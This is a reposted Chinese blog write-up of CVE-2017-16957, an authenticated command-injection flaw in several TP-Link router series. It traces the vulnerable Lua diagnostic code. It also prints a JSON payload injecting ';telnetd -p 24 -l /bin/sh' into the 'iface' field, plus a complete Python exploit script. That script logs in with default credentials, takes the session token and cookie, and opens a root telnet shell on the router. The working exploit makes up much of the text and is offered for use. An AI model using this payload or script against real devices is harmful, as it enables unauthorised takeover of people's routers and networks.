作者:W&P
原文链接:http://sec2hack.com/web/tplink-rce.html
TP-Link TL-WVR 等都是中国普联(TP-LINK)公司的无线路由器产品。
多款 TP-Link 系列产品存在命令注入漏洞,攻击者在登录后可发送恶意字段,经拼接后导致任意命令执行。
该漏洞由 coincoin7 发现,漏洞编号 CVE-2017-16957
TP-LINK TL-WVR 系列
TP-LINK TL-WAR 系列
TP-LINK TL-ER 系列
TP-LINK TL-R 系列
根据原文提供的链接,下载了 TL-WVR450L 的固件,使用 binwalk 解包,拿到 squashfs 系统文件,再用 squashfs-tools 将文件提取出来
下面是原作者提供的漏洞信息
受影响组件:uhttpd
漏洞文件:/usr/lib/lua/luci/controller/admin/diagnostic.lua
漏洞函数:zone_get_effect_devices(t)
89 行将传递的参数没有经过任何检查过滤,直接拼接到 cmd,通过 io.popen 进行命令执行。
找到当前文件调用 zone_get_effect_devices 的 ping_action 函数
这里将传递的 http_form 进行 json 解析,将 json 参数 params.iface 传入函数 zone_get_effect_devices。
继续往上找到调用 ping_action 的 start_action 函数
继续往上找调用 start_action
根据上面需要填写的信息,POST 请求 [省略]/admin/diagnostic?form=diag,构造 json 编码的 data 数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
{ "<span class="hljs-attr">method</span>": <span class="hljs-string">"start"</span>, "<span class="hljs-attr">params</span>": { "<span class="hljs-attr">type</span>": <span class="hljs-string">"0"</span>, "<span class="hljs-attr">type_hidden</span>": <span class="hljs-string">"0"</span>, "<span class="hljs-attr">ipaddr_ping</span>": <span class="hljs-string">"baidu.com"</span>, "<span class="hljs-attr">iface_ping</span>": <span class="hljs-string">"WAN1"</span>, "<span class="hljs-attr">ipaddr</span>": <span class="hljs-string">"baidu.com"</span>, "<span class="hljs-attr">iface</span>": <span class="hljs-string">";telnetd -p 24 -l /bin/sh"</span>, "<span class="hljs-attr">count</span>": <span class="hljs-string">"1"</span>, "<span class="hljs-attr">pktsize</span>": <span class="hljs-string">"64"</span>, "<span class="hljs-attr">my_result</span>": <span class="hljs-string">"The Router is ready.\r\n"</span> } } |
在 Web 认证登录后,发送构造好的恶意 Payload,执行命令 telnetd -p 24 -l /bin/sh,就会打开路由器的 telnet 功能。
漏洞利用脚本 exp.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 |
# Tested product: TL-WVR450L # Hardware version:V1.0 # Firmware version: 20161125 # The RSA_Encryption_For_Tplink.js is <span class="hljs-keyword">use</span> <span class="hljs-keyword">for</span> Rsa Encryption <span class="hljs-keyword">to</span> the <span class="hljs-keyword">password</span> <span class="hljs-keyword">when</span> login the web manager. # You can download the RSA_Encryption_For_Tplink.js <span class="hljs-keyword">by</span> https://github.com/coincoin7/Wireless-Router-Vulnerability/<span class="hljs-built_in">blob</span>/<span class="hljs-keyword">master</span>/RSA_Encryption_For_Tplink.js <span class="hljs-keyword">import</span> execjs <span class="hljs-keyword">import</span> requests <span class="hljs-keyword">import</span> <span class="hljs-keyword">json</span> <span class="hljs-keyword">import</span> urllib <span class="hljs-keyword">def</span> read_js(): <span class="hljs-keyword">file</span> = <span class="hljs-keyword">open</span>(<span class="hljs-string">"./RSA_Encryption_For_Tplink.js"</span>, <span class="hljs-string">'r'</span>) line = <span class="hljs-keyword">file</span>.readline() js = <span class="hljs-string">''</span> <span class="hljs-keyword">while</span> line: js = js + line line = <span class="hljs-keyword">file</span>.readline() <span class="hljs-keyword">file</span>.<span class="hljs-keyword">close</span>() <span class="hljs-keyword">return</span> js <span class="hljs-keyword">def</span> <span class="hljs-keyword">execute</span>(ip, port, username, passwd, cmd): try: s = requests.<span class="hljs-keyword">session</span>() uri = <span class="hljs-string">"http://{}:{}"</span>.<span class="hljs-keyword">format</span>(ip,port) headers = { <span class="hljs-string">'Content-Type'</span>:<span class="hljs-string">'application/x-www-form-urlencoded; charset=UTF-8'</span>, <span class="hljs-string">'Referer'</span>: <span class="hljs-string">'http://{}/webpages/login.html'</span>.<span class="hljs-keyword">format</span>(ip) } payload = { <span class="hljs-string">"method"</span>:<span class="hljs-string">"get"</span> } ret = s.post(uri + <span class="hljs-string">'/cgi-bin/luci/;stok=/login?form=login'</span>, <span class="hljs-keyword">data</span>=urllib.urlencode({<span class="hljs-string">"data"</span>:<span class="hljs-keyword">json</span>.dumps(payload)}), headers=headers, <span class="hljs-keyword">timeout</span>=<span class="hljs-number">5</span>) rsa_public_n = <span class="hljs-keyword">json</span>.loads(ret.<span class="hljs-built_in">text</span>)[<span class="hljs-string">'result'</span>][<span class="hljs-string">'password'</span>][<span class="hljs-number">0</span>].<span class="hljs-keyword">encode</span>(<span class="hljs-string">"utf-8"</span>) rsa_public_e = <span class="hljs-keyword">json</span>.loads(ret.<span class="hljs-built_in">text</span>)[<span class="hljs-string">'result'</span>][<span class="hljs-string">'password'</span>][<span class="hljs-number">1</span>].<span class="hljs-keyword">encode</span>(<span class="hljs-string">"utf-8"</span>) js = read_js() js_handle = execjs.compile(js) <span class="hljs-keyword">password</span> = js_handle.<span class="hljs-keyword">call</span>(<span class="hljs-string">'MainEncrypt'</span>, rsa_public_n, rsa_public_e, passwd) payload = { <span class="hljs-string">"method"</span>:<span class="hljs-string">"login"</span>, <span class="hljs-string">"params"</span>:{ <span class="hljs-string">"username"</span>:<span class="hljs-string">"{}"</span>.<span class="hljs-keyword">format</span>(username), <span class="hljs-string">"password"</span>:<span class="hljs-string">"{}"</span>.<span class="hljs-keyword">format</span>(<span class="hljs-keyword">password</span>) } } ret = s.post(uri + <span class="hljs-string">'/cgi-bin/luci/;stok=/login?form=login'</span>, <span class="hljs-keyword">data</span>=urllib.urlencode({<span class="hljs-string">"data"</span>:<span class="hljs-keyword">json</span>.dumps(payload)}), headers=headers, <span class="hljs-keyword">timeout</span>=<span class="hljs-number">5</span>) stok = <span class="hljs-keyword">json</span>.loads(ret.<span class="hljs-built_in">text</span>)[<span class="hljs-string">'result'</span>][<span class="hljs-string">'stok'</span>].<span class="hljs-keyword">encode</span>(<span class="hljs-string">'utf-8'</span>) cookie = ret.headers[<span class="hljs-string">'Set-Cookie'</span>] print <span class="hljs-string">'[+] Login success'</span> print <span class="hljs-string">'[+] Get The Token: '</span> + stok print <span class="hljs-string">'[+] Get The Cookie: '</span> + cookie headers = { <span class="hljs-string">'Content-Type'</span>:<span class="hljs-string">'application/x-www-form-urlencoded; charset=UTF-8'</span>, <span class="hljs-string">'Referer'</span>:<span class="hljs-string">'http://{}/webpages/login.html'</span>.<span class="hljs-keyword">format</span>(ip), <span class="hljs-string">'Cookie'</span>:<span class="hljs-string">'{}'</span>.<span class="hljs-keyword">format</span>(cookie) } payload = { <span class="hljs-string">"method"</span>:<span class="hljs-string">"start"</span>, <span class="hljs-string">"params"</span>:{ <span class="hljs-string">"type"</span>:<span class="hljs-string">"0"</span>, <span class="hljs-string">"type_hidden"</span>:<span class="hljs-string">"0"</span>, <span class="hljs-string">"ipaddr_ping"</span>:<span class="hljs-string">"127.0.0.1"</span>, <span class="hljs-string">"iface_ping"</span>:<span class="hljs-string">"WAN1"</span>, <span class="hljs-string">"ipaddr"</span>:<span class="hljs-string">"127.0.0.1"</span>, <span class="hljs-string">"iface"</span>:<span class="hljs-string">";{}"</span>.<span class="hljs-keyword">format</span>(cmd), <span class="hljs-string">"count"</span>:<span class="hljs-string">"1"</span>, <span class="hljs-string">"pktsize"</span>:<span class="hljs-string">"64"</span>, <span class="hljs-string">"my_result"</span>:<span class="hljs-string">"exploit"</span> } } ret = s.post(uri + <span class="hljs-string">'/cgi-bin/luci/;stok={}/admin/diagnostic?form=diag'</span>.<span class="hljs-keyword">format</span>(stok), <span class="hljs-keyword">data</span>=urllib.urlencode({<span class="hljs-string">"data"</span>:<span class="hljs-keyword">json</span>.dumps(payload)}), headers=headers, <span class="hljs-keyword">timeout</span>=<span class="hljs-number">5</span>) #print ret.<span class="hljs-built_in">text</span> print <span class="hljs-string">'[+] Finish RCE'</span> print <span class="hljs-string">'--------------------------------------------------------------'</span> <span class="hljs-keyword">return</span> <span class="hljs-literal">True</span> <span class="hljs-keyword">except</span>: <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span> <span class="hljs-keyword">if</span> __name__==<span class="hljs-string">'__main__'</span>: print <span class="hljs-string">'-----------Tplink LUCI diagnostic Authenticated RCE-----------'</span> print <span class="hljs-keyword">execute</span>(<span class="hljs-string">'192.168.1.1'</span>, <span class="hljs-number">80</span>, <span class="hljs-string">'admin'</span>, <span class="hljs-string">'admin'</span>, <span class="hljs-string">'telnetd -p 24 -l /bin/sh'</span>) |
exp 需要下载 RSA_Encryption_For_Tplink.js 才能使用
通过挖掘发现,存在命令注入的不止 diagnostic.lua 一处,全局搜索 io.popen,你们懂的。感兴趣的同学可以去找下。
本文由来源 Wfox‘blog,由 NNN4cy 整理编辑!
您必须[登录] 才能发表留言!